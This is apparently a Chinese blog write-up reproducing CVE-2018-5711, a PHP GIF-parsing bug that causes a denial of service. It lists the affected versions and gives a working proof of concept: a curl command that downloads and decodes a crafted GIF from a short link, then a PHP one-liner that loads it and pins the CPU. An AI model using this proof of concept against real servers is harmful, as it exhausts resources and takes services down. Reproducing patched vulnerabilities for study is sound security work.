PHP载入GIF图像造成服务器宕机(CVE-2018-5711)的漏洞复现

时间:2024-01-06 17:44:26

参考链接:

http://www.freebuf.com/vuls/161262.html

今日看新漏洞发现一个UC编辑部的标题,CVE-2018-5711:一张GIF图片就能让服务器宕机的PHP漏洞,赶紧点卡看看是啥。

经过了解发现,该漏洞有一定攻击面,攻击方式为DDoS。

漏洞背景:

漏洞由*Web漏洞挖掘大牛Orange Tsai发现。

漏洞编号:CVE-2018-5711,它能用一张GIF图片就可导致服务器发生崩溃直至宕机,在现实中非常容易利用。

漏洞影响的PHP版本:

包含以下PHP系列和其它所有PHP版本

PHP 5 < 5.6.33

PHP 7.0 < 7.0.27

PHP 7.1 < 7.1.13

PHP 7.2 < 7.2.1

复现过程:

PoC

$ curl -L https://git.io/vN0n4 | xxd -r > poc.gif
$ php -r 'imagecreatefromgif("poc.gif");'

根据文章描述进行了复现,发现报错,php默认是不带GD库的

PHP载入GIF图像造成服务器宕机(CVE-2018-5711)的漏洞复现

报错内容:

PHP Fatal error:  Uncaught Error: Call to undefined function imagecreatefromgif() in Command line code:1

在php中imagecreate函数是一个图形处理函数,主要用于新建一个基于调色板的图像了,然后在这个基础上我们可以创建一些图形数字字符之类的,但这个函数需要GD库支持,如果没有开启GD库使用时会提示Call to undefined function imagecreate()错误。

可直接安装这个库

apt-get install php-gd

PHP载入GIF图像造成服务器宕机(CVE-2018-5711)的漏洞复现

再次执行

$ php -r 'imagecreatefromgif("poc.gif");'

发现php把cpu跑满了,确实造成了无限循环

PHP载入GIF图像造成服务器宕机(CVE-2018-5711)的漏洞复现

最终结果就是,一张GIF图片就可以实现无限循环,导致服务器资源耗尽,直到崩溃宕机。